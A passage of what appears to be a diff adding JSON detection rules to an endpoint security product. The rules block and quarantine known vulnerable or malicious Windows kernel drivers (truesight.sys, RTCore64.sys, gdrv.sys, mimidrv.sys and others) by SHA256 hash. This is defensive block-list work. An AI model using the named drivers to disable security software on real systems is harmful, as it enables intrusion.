+  "comment": "Malicious Kernel Driver (aka driver_a6deeea6.sys) [https://www.loldrivers.io/drivers/f694c0e1-b75d-4c41-acbd-a87b72d8abe4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ad2d8b8-faf4-5dd8-816b-d36d4cf3c534",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485071Z",
+  "creation_date": "2026-03-23T11:45:31.485074Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485084Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "193bcdc0b0107f36cb04123b1f0775905b5f632b5dd1efcddfbc3ebb53953f7c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ad771c4-5e40-5093-8c05-59f0142279bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621703Z",
+  "creation_date": "2026-03-23T11:45:29.621705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "506f953bbb285aeb8af0549eb24f52f3b7af36afe740afa36735bac70573ce28",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ae5948e-9aac-507b-a2f9-ac56fc445743",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820320Z",
+  "creation_date": "2026-03-23T11:45:30.820322Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820327Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff322cd0cc30976f9dbdb7a3681529aeab0de7b7f5c5763362b02c15da9657a1",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7af5594d-4d91-580a-a1e6-5b5984bef814",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612249Z",
+  "creation_date": "2026-03-23T11:45:29.612251Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aac86a3143de3e18dea6eab813b285da0718e9fb6bc0bbb46c6e7638476061d8",
+  "comment": "Vulnerable Kernel Driver (aka mhyprot3.sys) [https://www.loldrivers.io/drivers/2aa003cd-5f36-46a6-ae3d-f5afc2c8baa3/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b04bc1c-8ffe-5005-8c15-126167301243",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819655Z",
+  "creation_date": "2026-03-23T11:45:30.819657Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819663Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2364c3cf230648dad30952701aef90acfc9891541c7e154e30c9750da213ed1",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b1b0d08-d4b7-532a-8718-493cb90ab7c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974126Z",
+  "creation_date": "2026-03-23T11:45:29.974128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974133Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed2f33452ec32830ffef2d5dc832985db9600c306ed890c47f3f33ccbb335c39",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b279ba1-ed75-5bcc-b5de-6bed9968da5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454506Z",
+  "creation_date": "2026-03-23T11:45:30.454510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454518Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b948219fd5d424f15ed9b5c7058d09b9559a14245b9bda5e805f9a8e5acecd1",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b2dfad3-782c-5d0b-87da-32fbc642bfc6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609393Z",
+  "creation_date": "2026-03-23T11:45:29.609395Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34da66774ba09c4a8fc59349401ca1fefaaf4e66a9c620c7782c072a16089ba3",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b44becc-73a2-5778-a56c-2bed822ab2cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823051Z",
+  "creation_date": "2026-03-23T11:45:30.823054Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823059Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae71f40f06edda422efcd16f3a48f5b795b34dd6d9bb19c9c8f2e083f0850eb7",
+  "comment": "Vulnerable Kernel Driver (aka FH-EtherCAT_DIO.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b47358d-1fac-52bd-bc0d-51e6027f914b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810912Z",
+  "creation_date": "2026-03-23T11:45:31.810914Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810919Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c3bdaec45bf06af38d31ed418d39eae539fd52f17003e563b3b838888f9f826",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b4d2daf-1d2a-5d51-b39b-b81c8aedc4bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147673Z",
+  "creation_date": "2026-03-23T11:45:31.147675Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147681Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07261cf107fc56e6fd2849de2f000ef8540117f2da87a37bfd96ea71c08826aa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b4ea073-a01f-571a-946a-6064234f66c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490696Z",
+  "creation_date": "2026-03-23T11:45:31.490698Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490703Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05f63faf0945bb537ddc7ea671a0df2f5c1eff90a33c20dcbc5eb206b00a848d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b542c21-c392-5b7e-a39a-46849e297afb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829447Z",
+  "creation_date": "2026-03-23T11:45:30.829449Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829455Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b29557159b2e112e50c26cb33c815cf842f61ee0a4f690c87a51641d67711531",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b614eee-e86b-58b6-9c69-42948b8f2950",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974349Z",
+  "creation_date": "2026-03-23T11:45:29.974351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b08743c8e1de8343ab0a0d453ca76487c6a438608c68c2b2921ea2c2a92821c",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b63620a-4b55-56c5-a7ef-384eb22b9a82",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460040Z",
+  "creation_date": "2026-03-23T11:45:30.460044Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460053Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad215185dc833c54d523350ef3dbc10b3357a88fc4dde00281d9af81ea0764d5",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b656e61-0e2b-5e1d-966f-6d0665acd09f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145605Z",
+  "creation_date": "2026-03-23T11:45:31.145607Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145613Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "995ffff831e9b9135012eabc66a5fc24034b00e6b9f09c722de8991e0e6e63c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b6638e5-4d18-5495-8dbe-19eec173d358",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975656Z",
+  "creation_date": "2026-03-23T11:45:29.975657Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975663Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "904e0f7d485a98e8497d5ec6dd6e6e1cf0b8d8e067fb64a9e09790af3c8c9d5a",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b6de935-0ce6-5c99-aaf0-b75a731f56d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477005Z",
+  "creation_date": "2026-03-23T11:45:31.477008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477017Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8caaf6e9de9ad63ff4a4443c39a7e690f3682ed31c1c8a5f0e6598abf023fe4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b84fa70-a485-5c8c-b90b-408476669e4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971150Z",
+  "creation_date": "2026-03-23T11:45:29.971153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971161Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77586c3968ec72ad19fa7098c9da27b0677e45220812eaab197075f4175e8cc6",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b8b3458-2975-5dd8-9a0a-2a384b30ea65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144428Z",
+  "creation_date": "2026-03-23T11:45:31.144430Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07389bfd37f19dc970fe04ecad830eca1a85dfe47336f35ad29051c40f207c44",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b9aaba3-bb19-5b58-a839-93119c24a75e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830077Z",
+  "creation_date": "2026-03-23T11:45:30.830079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b5711def9267bbc6ece42f46e3c313e3e89d3693bc75545fa7622513b2921325",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7b9d100c-776a-5d74-ae09-4d412883d99b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144633Z",
+  "creation_date": "2026-03-23T11:45:32.144635Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "099ef4915d7899be543d891b48960c1d1604c55468c1377a6f71ce0e1a33c946",
+  "comment": "Malicious Kernel Driver (aka driver_099ef491.sys) [https://www.loldrivers.io/drivers/2ba1bccf-d8d7-464a-9ae1-41371c55e5e8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ba36510-e951-56e3-a01f-3c20770215ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
